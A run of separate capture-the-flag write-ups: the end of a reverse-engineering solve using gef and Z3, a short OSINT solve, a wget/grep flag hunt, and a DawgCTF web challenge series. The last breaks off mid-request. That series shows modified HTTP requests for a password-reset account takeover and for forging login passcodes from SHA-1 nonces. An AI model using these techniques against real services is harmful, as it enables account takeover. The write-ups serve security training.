0x40073f````r8d` incremented and umm `0x40073f`, that address, we have seen it before. Yes, we have now the backward jump for the outer `for`. Now we have checked that this is a `for` too, and `r8d` is its counter.```gef➤ si 70x000000000040073f in ?? ()gef➤ x/10i $pc=> 0x40073f: cmp r8d,0x539 0x400746: jl 0x400763 0x400748: jmp 0x400774 ```The counter `r8d` is incremented and compared against `1337`, when this value is reached the execution will flow to `0x400774`, outside —finally— of these almost endless loops. The C code for this loop would be something like this```Cr9d = 0x50;for(r8d = 0; r8d < 1337; ++r8d){ for(r11d = 0; r11d < arglen; ++r11d) { argv[1][r11d] ^= r9d; r9d ^= argv[1][r11d]; }}```Now with the things a lot clearer we can proceed with the rest of the code.```gef➤ tb*0x400748Temporary breakpoint 4 at 0x400748gef➤ cContinuing. Temporary breakpoint 4, 0x0000000000400748 in ?? ()gef➤ i r r8r8 0x539 0x539gef➤ si0x0000000000400774 in ?? ()gef➤ x/10i $pc=> 0x400774: mov eax,0xea3e6566 0x400779: xor eax,0x5f69faeb 0x40077e: jns 0x4007b6 # Ignore 0x400780: lea rax,[rip+0x164] # 0x4008eb 0x400787: lea r8,[rax] 0x40078a: mov eax,0xb5de3358 0x40078f: xor eax,0x459f236e 0x400794: jns 0x400797 # Ignore 0x400796: dec eax 0x400798: jmp 0x400799```The program gets in `r8` the address of some data in `.data` (addr `0x4008eb`)```gef➤ si 100x0000000000400799 in ?? ()gef➤ x/10i $pc=> 0x400799: inc eax 0x40079b: push 0x1 0x40079d: pop r10 0x40079f: dec eax 0x4007a1: jmp 0x4007a2```Set `r10 = 1````gef➤ si 50x00000000004007a2 in ?? ()gef➤ x/10i $pc=> 0x4007a2: inc eax 0x4007a4: xor r9d,r9d 0x4007a7: jmp 0x400834```I can see another loop, using `r9d` as counter, coming. => 0x400834: mov eax,0x4759bfd0 0x400839: add eax,0xb8a64030 0x40083e: inc eax 0x400840: jae 0x400847 # Ignore 0x400842: cmp r9d,ecx 0x400845: jl 0x400849 0x400847: jmp 0x400850We can see an `if(r9d < arglen)`, which will in all likelihood be, from a loop `for(r9d = 0; r9d < arglen; ++r9d)`. ```gef➤ si 60x0000000000400849 in ?? ()gef➤ x/10i $pc=> 0x400849: test r10b,r10b 0x40084c: jne 0x400857 0x40084e: jmp 0x40089f```An `if(r10b)`? Well, we are going straight into it because `r10b == 1 != 0````gef➤ si 20x000000000040085a in ?? ()gef➤ x/10i 0x400857=> 0x400857: movsxd r11,r9d 0x40085a: mov eax,0x5f9c75ce 0x40085f: xor eax,0x5d98bd96 0x400864: js 0x4008a0 # Ignore 0x400866: mov r10,rdx 0x400869: add r10,r11 0x40086c: dec eax 0x40086e: jmp 0x40086fef➤ si 80x000000000040086f in ?? ()gef➤ x/10i $pc=> 0x40086f: inc eax 0x400871: mov r11b,BYTE PTR [r10] 0x400874: mov eax,0xf8eca7d8 0x400879: add eax,0x7135828 0x40087e: jne 0x40081c # Ignore 0x400880: movsxd rax,r9d 0x400883: mov r10,r8 0x400886: add r10,rax 0x400889: mov eax,0x3b4ad836 0x40088e: xor eax,0xf1d7dbeagef➤ 0x400893: jns 0x400818 # Ignore 0x400895: mov al,BYTE PTR [r10] 0x400898: cmp r11b,al 0x40089b: je 0x4008c3 0x40089d: jmp 0x4008da```Ok, I will remove the incoherences and conditional jumps to see it clearer``` 0x400857: movsxd r11,r9d 0x400866: mov r10,rdx 0x400869: add r10,r11 0x400871: mov r11b,BYTE PTR [r10] 0x400880: movsxd rax,r9d 0x400883: mov r10,r8 0x400886: add r10,rax 0x400895: mov al,BYTE PTR [r10] 0x400898: cmp r11b,al 0x40089b: je 0x4008c3 0x40089d: jmp 0x4008da```We can see it obtains `argv[1][r9d]`, and then `*(r8 + r9d)` (`r8` contains the address of some place in `.data`, the program `LEA`'d that address earlier, as you can see scrolling up), and compares them. If they are equal jumps to `0x4008c3`, if not, to `0x4008da`.```gef➤ x/10 0x4008c3 0x4008c3: mov eax,0x451c2342 0x4008c8: add eax,0xbae3dcbe 0x4008cd: jne 0x400901 # Ignore 0x4008cf: push 0x1 0x4008d1: pop r10 0x4008d3: dec eax 0x4008d5: jmp 0x4008d6gef➤ x/10 0x4008d6 0x4008d6: inc eax 0x4008d8: jmp 0x4008ddgef➤ x/10 0x4008dd 0x4008dd: mov eax,0x5e82d693 0x4008e2: add eax,0xa17d296d 0x4008e7: jne 0x40090a # Ignore 0x4008e9: jmp 0x4008a2gef➤ x/10 0x4008a2 0x4008a2: mov eax,0x2e4ef210 0x4008a7: add eax,0xd1b10df0 0x4008ac: jne 0x40087e # Ignore 0x4008ae: mov eax,0x1bff10d0 0x4008b3: xor eax,0x9dd00315 0x4008b8: jns 0x40091d # Ignore 0x4008ba: add r9d,0x1 0x4008be: jmp 0x400834```This is executed in case both values `argv[1][r9d]` and `*(r8 + r9d)` are the same. Let me clean it up for you [so much rubbish...].``` 0x4008cf: push 0x1 0x4008d1: pop r10 0x4008ba: add r9d,0x1 0x4008be: jmp 0x400834```And this is just `r10 = 1; r9d++;`, and that `jmp` goes back to the condition checking of what I predicted a `for`. Now the other path:```gef➤ x/10i 0x4008da 0x4008da: xor r10b,r10b 0x4008dd: mov eax,0x5e82d693 0x4008e2: add eax,0xa17d296d 0x4008e7: jne 0x40090a # Ignore 0x4008e9: jmp 0x4008a2gef➤ x/10i 0x4008a2 0x4008a2: mov eax,0x2e4ef210 0x4008a7: add eax,0xd1b10df0 0x4008ac: jne 0x40087e # Ignore 0x4008ae: mov eax,0x1bff10d0 0x4008b3: xor eax,0x9dd00315 0x4008b8: jns 0x40091d # Ignore 0x4008ba: add r9d,0x1 0x4008be: jmp 0x400834```Which translates into```gef➤ x/10i 0x4008da 0x4008da: xor r10b,r10b 0x4008ba: add r9d,0x1 0x4008be: jmp 0x400834```This is executed in case they are not the same value. Let me point out that both paths get to `0x4008ba`, only changes that the bad path (with the `if` false) makes `0` the `r10b` register, while the other makes it `1`. So for this `for` —haha— we have this impression right now.```Cr8 = 0x4008eb;r10b = 1;for(r9d = 0; r9d < arglen; ++r9d){ if(r10b) { if(argv[1][r9d] == *(r8 + r9d)) r10b = 1; else r10b = 0; } else { /* Something, maybe nothing, who knows? Fate knows. */ }}```Nothing too weird. Now we have to explore the `else` path. But, first. a throwback.```gef➤ x/2i $pc=> 0x40086f: inc eax 0x400871: mov r11b,BYTE PTR [r10]```We are still here, in the first few steps inside the `if(r10b)`, all the previous analysis since almost `if(r10b)` was indeed static. Now, taking into account that we haven't used as argument the flag, the modified `argv[1]` won't match the data pointed by r8, and therefore we will execute the `xor r10b, r10b` at some iteration (almost certainly sure the first one) and the next iteration `if(r10b)` will be false and the program flow will go through the `else`, so I am setting a breakpoint there```gef➤ tb*0x40084eTemporary breakpoint 6 at 0x40084egef➤ cContinuing. Temporary breakpoint 6, 0x000000000040084e in ?? ()gef➤ si0x000000000040089f in ?? ()gef➤ x/10i $pc=> 0x40089f: xor r10b,r10b 0x4008a2: mov eax,0x2e4ef210 0x4008a7: add eax,0xd1b10df0 0x4008ac: jne 0x40087e # Ignore 0x4008ae: mov eax,0x1bff10d0 0x4008b3: xor eax,0x9dd00315 0x4008b8: jns 0x40091d # Ignore 0x4008ba: add r9d,0x1 0x4008be: jmp 0x400834```Which pretty much does nothing xd. Sets to `0` the `r10b` (although if we are here is, in theory, because `r10b` is already `0`), increments the counter and goes back to the top of the `for`. We could preferably write the `for` this way```Cr8 = 0x4008eb;r10b = 1;for(r9d = 0; r9d < arglen; ++r9d){ if(!r10b) continue; if(argv[1][r9d] == *(r8 + r9d)) r10b = 1; else r10b = 0;}```Let's finish this loop.``` 0x400847: jmp 0x400850gef➤ tb *0x400847Temporary breakpoint 7 at 0x400847gef➤ cContinuing. Temporary breakpoint 7, 0x0000000000400847 in ?? ()gef➤ si0x0000000000400850 in ?? ()gef➤ x/10i $pc=> 0x400850: mov al,r10b 0x400853: leave 0x400854: pop rdi 0x400855: pop rbx 0x400856: ret```Ahhh we can see the light at the end of the tunnel. This is just a `return r10b;`, which turns out to be `1` if the modified `argv[1]` is equal to the bytestring in the binary, or `0` otherwise.```gef➤ si 50x00000000004006ee in ?? ()gef➤ x/10 $pc=> 0x4006ee: mov cl,al 0x4006f0: mov eax,0xae5fe432 0x4006f5: add eax,0x51a01bce 0x4006fa: inc eax 0x4006fc: jae 0x400706 # Ignore 0x4006fe: mov al,cl 0x400700: leave 0x400701: ret```And back to the first function of the _decrypted_ code. A `return cl;` where `cl` holds the value returned from the other function. After the `ret`, `main()` prints one string or another depending on the value that this function returned. ## Act 2 — Z3 The Theorem ProverNow that we know how the program behaves, we need to know the result that our string must have after all the alterations that the program makes on it in order to get a desired `"Correct!"`. The aforementioned result is stored in `0x4008eb` in the data segment.```gef➤ x/40bx 0x4008eb0x4008eb: 0x48 0x5f 0x36 0x35 0x35 0x25 0x14 0x2c0x4008f3: 0x1d 0x01 0x03 0x2d 0x0c 0x6f 0x35 0x610x4008fb: 0x7e 0x34 0x0a 0x44 0x24 0x2c 0x4a 0x460x400903: 0x19 0x59 0x5b 0x0e 0x78 0x74 0x29 0x130x40090b: 0x2c 0x00 0x48 0x89 0xc2 0x48 0x89 0x55```The problem is that we don't know how long our chain should be. Here we see a `0x00`, but it could be just a coincidence `¯\_(ツ)_/¯`. Well, what do we have after this data? If there is other data stored after this maybe we could make a guess.```.text:0000000000400907 db 0E5h.text:0000000000400908 db 8Dh.text:0000000000400909 db 0DDh.text:000000000040090A db 57h ; W.text:000000000040090B db 0D1h.text:000000000040090C db 0F2h.text:000000000040090D ; ---------------------------------------------------------------------------.text:000000000040090D.text:000000000040090D loc_40090D: ; CODE XREF: main+92↑j.text:000000000040090D mov rdx, rax.text:0000000000400910 mov [rbp-18h], rdx.text:0000000000400914 cmp qword ptr [rbp-18h], 0.text:0000000000400919 jz short loc_400927.text:000000000040091B mov edi, offset aCorrect ; "Correct!".text:0000000000400920 call _puts.text:0000000000400925 jmp short loc_400931```Ok, so we have, not so much farder, a chunk of `main()` (ironically the one we want to reach). Therefore we can say that the length of the bytestring can't be greater than `0x40090d − 0x4008eb = 0x22 = 34`. Besides```gef➤ x/34bx 0x4008eb0x4008eb: 0x48 0x5f 0x36 0x35 0x35 0x25 0x14 0x2c0x4008f3: 0x1d 0x01 0x03 0x2d 0x0c 0x6f 0x35 0x610x4008fb: 0x7e 0x34 0x0a 0x44 0x24 0x2c 0x4a 0x460x400903: 0x19 0x59 0x5b 0x0e 0x78 0x74 0x29 0x130x40090b: 0x2c 0x00```it has the nullbyte right at the end!! The length of the bytestring must be, with all certainty, `34 - 1 = 33`. Now we just need someone who can solve problems this hard. Someone who... who... umm I don't know, I just broke the epic moment... It's Z3, just Z3, *The Theorem Prover*.```pythonfrom z3 import * # How the result must be after all the modificationsflag = [0x48, 0x5f, 0x36, 0x35, 0x35, 0x25, 0x14, 0x2c, \ 0x1d, 0x01, 0x03, 0x2d, 0x0c, 0x6f, 0x35, 0x61, \ 0x7e, 0x34, 0x0a, 0x44, 0x24, 0x2c, 0x4a, 0x46, \ 0x19, 0x59, 0x5b, 0x0e, 0x78, 0x74, 0x29, 0x13, 0x2c] # This array holds all the variables that z3 must deal withasd = []for c in "pctf{": # Making use of the hint to set constraints asd.append(BitVecVal(ord(c), 8))for i in range(len(flag) - 6): asd.append(BitVec("%d" % i, 8))asd.append(BitVecVal(ord('}'), 8)) # Perform the same operations as the binaryr9 = 0x50for i in range(1337): for j in range(len(asd)): asd[j] ^= r9 r9 ^= asd[j] # Impose conditionszolv = Solver()for i in range(len(asd)): zolv.add(asd[i] == flag[i]) # Get the solutionassert zolv.check() == sat, "Can't find a solution"m = zolv.model()# Figure out how to print the model in order was the hardest partl = [(d, m[d]) for d in m]l.sort(key=lambda x:int(str(x[0])))print("pctf{", end="")for i in range(len(flag) - 6): print(chr(int(str(l[i][1]))), end="")print("}")``````$ time python reee.py pctf{ok_nothing_too_fancy_there!} real 1m32,830suser 1m31,872ssys 0m0,475s $ ./reee pctf{ok_nothing_too_fancy_there!}Correct!```If the exclamation sign gives you problems in bash, just turn off the history substitution: `set +H`
[Original writeup](https://bigpick.github.io/TodayILearned/articles/2020-04/wpictf_writeups#pr3s3n70r) Searching google for “r2con2019” leads us to a twitter results page for `#r2con2019` as the second result. Clicking that, and sorting the results by “latest”, we see that (at the time of writing this) [the fourth most recent tweet is about the author of the challenge](https://twitter.com/radareorg/status/1228285126330781696)! > Published another #r2con2019 talk: “Object Diversification with my help (r2)” - by Alex Gaines - https://t.co/EZmSqQP8zd?amp=1 Going to that link at the end brings us to a youtube video of the author’s talk at r2con2019 (nice). I was a bit tripped up here, as I though the “sort by new” hint was a one time deal, as we did it already for the tweets. However, if we sort the comments on this youtube video by latest, we see what looks to be the flag (*almost*): ![](https://bigpick.github.io/TodayILearned/img/wpi2020/youtube_comment.png) If we look through the slides, or watch the video, we see that he refers to his code bits as “cruftables”, so we can try that as the flag, and it works. Flag is `WPI{@wg_1s4ch@ncruftables}`.
Using: ```wget -q -r https://csec.umd.edu/; grep -r -Poi UMDCTF-{.*?}``` shows us all the three flags from the CSEC Invasion challenges. ```csec.umd.edu/manifest.json:UMDCTF-{w3_d1d_th3_m@th}csec.umd.edu/robots.txt:UMDCTF-{d0m0_@r1g@t0_mr_r0b0t0}csec.umd.edu/index.html:UMDCTF-{@l13ns_@r3_b3tt3r_th@n_hum@ns}```
# DawgCTF 2020 – Free Wi-Fi These are multiple challenges connected together. The same [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap) is given for all the challenges. Challenges are ordered considering the number of points. ## Free Wi-Fi Part 1 * **Category:** web/networking* **Points:** 50 ### Challenge > People are getting online here, but the page doesn't seem to be implemented...I ran a pcap to see what I could find out.> > http://freewifi.ctf.umbccd.io/> > Authors: pleoxconfusa and freethepockets ### Solution The HTML code of the page is the following. ```html <html> <head> <title>Guest Sign In Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="/static/bootstrap/css/bootstrap.min.css?bootstrap=3.3.7.1.dev1" rel="stylesheet"> <link rel="stylesheet" href="/static/css/main.css"> </head> <body> <div class="container"> <div class="row"> <div align="center" class="col-xs-12"> <h1>Sorry!</h1> <div align="left" style="background-color: lightgrey; width: 500px; padding: 50px; margin: 20px;"> <h3 style="color:blue;">Guest login</h3> Guest sign in portal is not yet implemented. </div> Guest sign in portal is not yet implemented. </div> </div></div> <script src="/static/bootstrap/jquery.min.js?bootstrap=3.3.7.1.dev1"></script> <script src="/static/bootstrap/js/bootstrap.min.js?bootstrap=3.3.7.1.dev1"></script> </body></html>``` So there is anything to authenticate there. Analyzing the [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap) you can discover on packet #6 the existence of `https://freewifi.ctf.umbccd.io/staff.html` web page. Connecting to it, you will discover the flag. ```DawgCTF{w3lc0m3_t0_d@wgs3c_!nt3rn@t!0n@l}``` ## Free Wi-Fi Part 3 * **Category:** web/networking* **Points:** 200 ### Challenge > Let's steal someone's account.> > http://freewifi.ctf.umbccd.io/> > Authors: pleoxconfusa and freethepockets ### Solution The authentication page discovered during the previous step is the following. ```html <html> <head> <title>Staff Wifi Login Page</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="/static/bootstrap/css/bootstrap.min.css?bootstrap=3.3.7.1.dev1" rel="stylesheet"> <link rel="stylesheet" href="/static/css/main.css"> </head> <body> <div class="container"> <div class="row"> <div align="center" class="col-xs-12"> <h1>Welcome to the staff login page!</h1> <div align="left" style="background-color: lightgrey; width: 500px; padding: 50px; margin: 20px;"> <h3 style="color:blue;">Staff login</h3> You may use either of the following methods to logon. <div style="margin:15px;"> You may use either of the following methods to logon. <form action="" method="post" class="form" role="form"> <input id="csrf_token" name="csrf_token" type="hidden" value="ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpD32g.A831bot0d-EhyWIW6fNX3jqIz9E"> <div class="form-group "><label class="control-label" for="username">Username:</label> <input class="form-control" id="username" name="username" type="text" value=""> </div> <div class="form-group "><label class="control-label" for="password">Password:</label> <input class="form-control" id="password" name="password" type="password" value=""> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit"> </form> Forgot your password? Forgot your password? <h3> OR </h3> <form action="" method="post" class="form" role="form"> <input id="csrf_token" name="csrf_token" type="hidden" value="ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpD32g.A831bot0d-EhyWIW6fNX3jqIz9E"> <div class="form-group required"><label class="control-label" for="passcode">Login with WifiKey:</label> <input class="form-control" id="passcode" name="passcode" required type="text" value=""> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit"> </form> </div> </div> DawgCTF{w3lc0m3_t0_d@wgs3c_!nt3rn@t!0n@l} DawgCTF{w3lc0m3_t0_d@wgs3c_!nt3rn@t!0n@l} </div> </div></div> <script src="/static/bootstrap/jquery.min.js?bootstrap=3.3.7.1.dev1"></script> <script src="/static/bootstrap/js/bootstrap.min.js?bootstrap=3.3.7.1.dev1"></script> </body></html>``` Analyzing the [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap), some interesting packets can be found: #469, #471 and #473. ```POST /forgotpassword.html HTTP/1.1Host: freewifi.ctf.umbccd.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://freewifi.ctf.umbccd.io/forgotpassword.htmlContent-Type: application/x-www-form-urlencodedContent-Length: 171Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMw==; session=eyJjc3JmX3Rva2VuIjoiYTg4ZWQxZjVkODhhZTgyZDEzMWY4ODhmZWExZjYwNDRmNTEwMDgyMCJ9.Xo35dQ.zpNEVjf6uG_5vhqwNCE7bS8QEz0Connection: keep-aliveUpgrade-Insecure-Requests: 1 user=true.grit%40umbccd.io&csrf_token=ImE4OGVkMWY1ZDg4YWU4MmQxMzFmODg4ZmVhMWY2MDQ0ZjUxMDA4MjAi.Xo4F8w.YzjziKX2qgE4hJ5QKC6qTjP2-0M&email=true.grit%40umbccd.io&submit=Submit HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 2420Vary: CookieServer: Werkzeug/1.0.1 Python/3.6.9Date: Wed, 08 Apr 2020 17:12:19 GMT <html> <head> <title>Forgot your password?</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="/static/bootstrap/css/bootstrap.min.css?bootstrap=3.3.7.1.dev1" rel="stylesheet"> <link rel="stylesheet" href="/static/css/main.css"> </head> <body> <div class="container"> <div class="row"> <div class="col-xs-12"> <h1>Forgot your password?</h1> Please enter your email address. <form action="" method="post" class="form" role="form"> <input id="user" name="user" type="hidden" value=""><input id="csrf_token" name="csrf_token" type="hidden" value="ImE4OGVkMWY1ZDg4YWU4MmQxMzFmODg4ZmVhMWY2MDQ0ZjUxMDA4MjAi.Xo4F8w.YzjziKX2qgE4hJ5QKC6qTjP2-0M"> Please enter your email address. <div class="form-group required"><label class="control-label" for="email">Enter your email:</label> <input class="form-control" id="email" name="email" required type="text" value=""> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit"> </form> <script type="text/javascript"> window.onload = function() { document.getElementsByClassName('form')[0].onsubmit = function() { alert(1) var email = document.getElementById('email') var user = document.getElementById('user') user.value = email.value } } </script> Check your email for password reset link. Check your email for password reset link. </div> </div></div> <script src="/static/bootstrap/jquery.min.js?bootstrap=3.3.7.1.dev1"></script> <script src="/static/bootstrap/js/bootstrap.min.js?bootstrap=3.3.7.1.dev1"></script> </body></html>``` You have discovered that:1. a `/forgotpassword.html` page exists;2. `[email protected]` is a user of the system;3. the forgot password functionality uses two different fields for username and e-mail, with a JavaScript code to copy the value inserted into the input field. As a consequence, it is sufficient to intercept the request and change the e-mail with one you control, leaving the discovered username. ```POST /forgotpassword.html HTTP/1.1Host: freewifi.ctf.umbccd.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 171Origin: https://freewifi.ctf.umbccd.ioConnection: closeReferer: https://freewifi.ctf.umbccd.io/forgotpassword.htmlCookie: WifiKey nonce=MjAyMC0wNC0xMCAyMzozNA==; WifiKey alg=SHA1; session=eyJjc3JmX3Rva2VuIjoiYTA2MmZkNTUyNzM3NmQwMTAxYTc4YzgwMmFlNmFkOTI5ZGQzNzU3OCJ9.XpD3NA.zDj47SdpKQnikt--V9WnN0zUmYQ; JWT 'identity'=31337Upgrade-Insecure-Requests: 1 user=true.grit%40umbccd.io&csrf_token=ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpEDtg.QX6HWsJN_M2Apsv3wUSKn4AIhl4&email=m3ssap0%40yopmail.com&submit=Submit HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Fri, 10 Apr 2020 23:40:06 GMTContent-Type: text/html; charset=utf-8Connection: closeVary: CookieContent-Length: 2018 <html> <head> <title>Forgot your password?</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="/static/bootstrap/css/bootstrap.min.css?bootstrap=3.3.7.1.dev1" rel="stylesheet"> <link rel="stylesheet" href="/static/css/main.css"> </head> <body> <div class="container"> <div class="row"> <div align="center" class="col-xs-12"> <h1>Forgot your password?</h1> <div align="left" style="background-color: lightgrey; width: 500px; padding: 50px; margin: 20px;"> <h3 style="color:blue;">Password recovery</h3> <form action="" method="post" class="form" role="form"> <input id="user" name="user" type="hidden" value="[email protected]"><input id="csrf_token" name="csrf_token" type="hidden" value="ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpED1g.iElwyWg_AQH1c72HhtcOPZVr02s"> <div class="form-group required"><label class="control-label" for="email">Enter your email:</label> <input class="form-control" id="email" name="email" required type="text" value="[email protected]"> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit"> </form> <script type="text/javascript"> window.onload = function() { document.getElementsByClassName('form')[0].onsubmit = function() { var email = document.getElementById('email') var user = document.getElementById('user') user.value = email.value } } </script> DawgCTF{cl!3nt_s1d3_v@l!d@t!0n_1s_d@ng3r0u5} </div> </div> </div></div> DawgCTF{cl!3nt_s1d3_v@l!d@t!0n_1s_d@ng3r0u5} <script src="/static/bootstrap/jquery.min.js?bootstrap=3.3.7.1.dev1"></script> <script src="/static/bootstrap/js/bootstrap.min.js?bootstrap=3.3.7.1.dev1"></script> </body></html>``` The flag is the following. ```DawgCTF{cl!3nt_s1d3_v@l!d@t!0n_1s_d@ng3r0u5}``` ## Free Wi-Fi Part 4 * **Category:** web/networking* **Points:** 250 ### Challenge > People seem to have some doohickey that lets them login with a code...> > http://freewifi.ctf.umbccd.io/> > Authors: pleoxconfusa and freethepockets ### Solution Connecting to the web site, two interesting cookies are set: ```Set-Cookie: WifiKey nonce=MjAyMC0wNC0xMCAyMzo1Mg==; Path=/Set-Cookie: WifiKey alg=SHA1; Path=/``` Analyzing the [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap), some POST requests passing `passcode` value can be found. Considering the SHA-1 algorithm discovered before in the cookie value and applying that algorithm to the wi-fi nonces captured, you will discover that `passcode` values are just the first 8 chars of the hashed `nonce` value. ```#85Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMQ== -> 2020-04-08 17:01passcode=5004f47aSHA-1(MjAyMC0wNC0wOCAxNzowMQ==) = 5004f47ae3e2e7c1c9a5ea4d1666f95e6b06b062 #217Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMg== -> 2020-04-08 17:02passcode=01c7aeb1SHA-1(MjAyMC0wNC0wOCAxNzowMg==) = 01c7aeb11b1ee82035e9dc9e0292088d559921b1 #339Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMw== -> 2020-04-08 17:03passcode=097b3acfSHA-1(MjAyMC0wNC0wOCAxNzowMw==) = 097b3acf84e6ed9e66f285cf3750b4ff89da48dc #655Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzoxMw== -> 2020-04-08 17:13passcode=54f03ae2SHA-1(MjAyMC0wNC0wOCAxNzoxMw==) = 54f03ae2cc8d1415bf06dec1670e03fd4e696982``` The same process can be applied to your `nonce`. ```Cookie: WifiKey nonce=MjAyMC0wNC0xMSAwMDowNw== -> 2020-04-11 00:07SHA-1(MjAyMC0wNC0xMSAwMDowNw==) = ef07d9f7a0f3cce235a644fbb8392f211025aa98passcode=ef07d9f7``` In order to perform a request. ```POST /staff.html HTTP/1.1Host: freewifi.ctf.umbccd.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 134Origin: https://freewifi.ctf.umbccd.ioConnection: closeReferer: https://freewifi.ctf.umbccd.io/staff.htmlCookie: WifiKey nonce=MjAyMC0wNC0xMSAwMDowNw==; WifiKey alg=SHA1; session=eyJjc3JmX3Rva2VuIjoiYTA2MmZkNTUyNzM3NmQwMTAxYTc4YzgwMmFlNmFkOTI5ZGQzNzU3OCJ9.XpD3NA.zDj47SdpKQnikt--V9WnN0zUmYQ; JWT 'identity'=31337Upgrade-Insecure-Requests: 1 csrf_token=ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpEKKA.bAfOYEeMNYEl-nFUD9XT9rSH0YI&passcode=ef07d9f7&submit=Submit HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Sat, 11 Apr 2020 00:07:25 GMTContent-Type: text/html; charset=utf-8Connection: closeSet-Cookie: WifiKey nonce=MjAyMC0wNC0xMSAwMDowNw==; Path=/Set-Cookie: WifiKey alg=SHA1; Path=/Set-Cookie: JWT 'secret'="dawgCTF?heckin#bamboozle"; Path=/Vary: CookieContent-Length: 2594 <html> <head> <title>Staff Wifi Login Page</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="/static/bootstrap/css/bootstrap.min.css?bootstrap=3.3.7.1.dev1" rel="stylesheet"> <link rel="stylesheet" href="/static/css/main.css"> </head> <body> <div class="container"> <div class="row"> <div align="center" class="col-xs-12"> <h1>Welcome to the staff login page!</h1> <div align="left" style="background-color: lightgrey; width: 500px; padding: 50px; margin: 20px;"> <h3 style="color:blue;">Staff login</h3> You may use either of the following methods to logon. <div style="margin:15px;"> You may use either of the following methods to logon. <form action="" method="post" class="form" role="form"> <input id="csrf_token" name="csrf_token" type="hidden" value="ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpEKPQ.xW__Gp06GnXV1BdSSbKG-ZgPtyI"> <div class="form-group "><label class="control-label" for="username">Username:</label> <input class="form-control" id="username" name="username" type="text" value=""> </div> <div class="form-group "><label class="control-label" for="password">Password:</label> <input class="form-control" id="password" name="password" type="password" value=""> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit"> </form> Forgot your password? Forgot your password? <h3> OR </h3> <form action="" method="post" class="form" role="form"> <input id="csrf_token" name="csrf_token" type="hidden" value="ImEwNjJmZDU1MjczNzZkMDEwMWE3OGM4MDJhZTZhZDkyOWRkMzc1Nzgi.XpEKPQ.xW__Gp06GnXV1BdSSbKG-ZgPtyI"> <div class="form-group required"><label class="control-label" for="passcode">Login with WifiKey:</label> <input class="form-control" id="passcode" name="passcode" required type="text" value="ef07d9f7"> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit"> </form> </div> </div> DawgCTF{k3y_b@s3d_l0g1n!} DawgCTF{k3y_b@s3d_l0g1n!} </div> </div></div> <script src="/static/bootstrap/jquery.min.js?bootstrap=3.3.7.1.dev1"></script> <script src="/static/bootstrap/js/bootstrap.min.js?bootstrap=3.3.7.1.dev1"></script> </body></html>``` The flag is the following. ```DawgCTF{k3y_b@s3d_l0g1n!}``` ## Free Wi-Fi Part 2 * **Category:** web/networking* **Points:** 300 ### Challenge > I saw someone's screen and it looked like they stayed logged in, somehow...> > http://freewifi.ctf.umbccd.io/> > Authors: pleoxconfusa and freethepockets ### Solution At this point, you can spot two interesting cookies:* `JWT 'identity'=31337`;* `JWT 'secret'="dawgCTF?heckin#bamboozle"`. Analyzing the capture, you can find two packets, #261 and #263, regarding a JWT-related endpoint. ```GET /jwtlogin HTTP/1.1Host: freewifi.ctf.umbccd.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMg==; 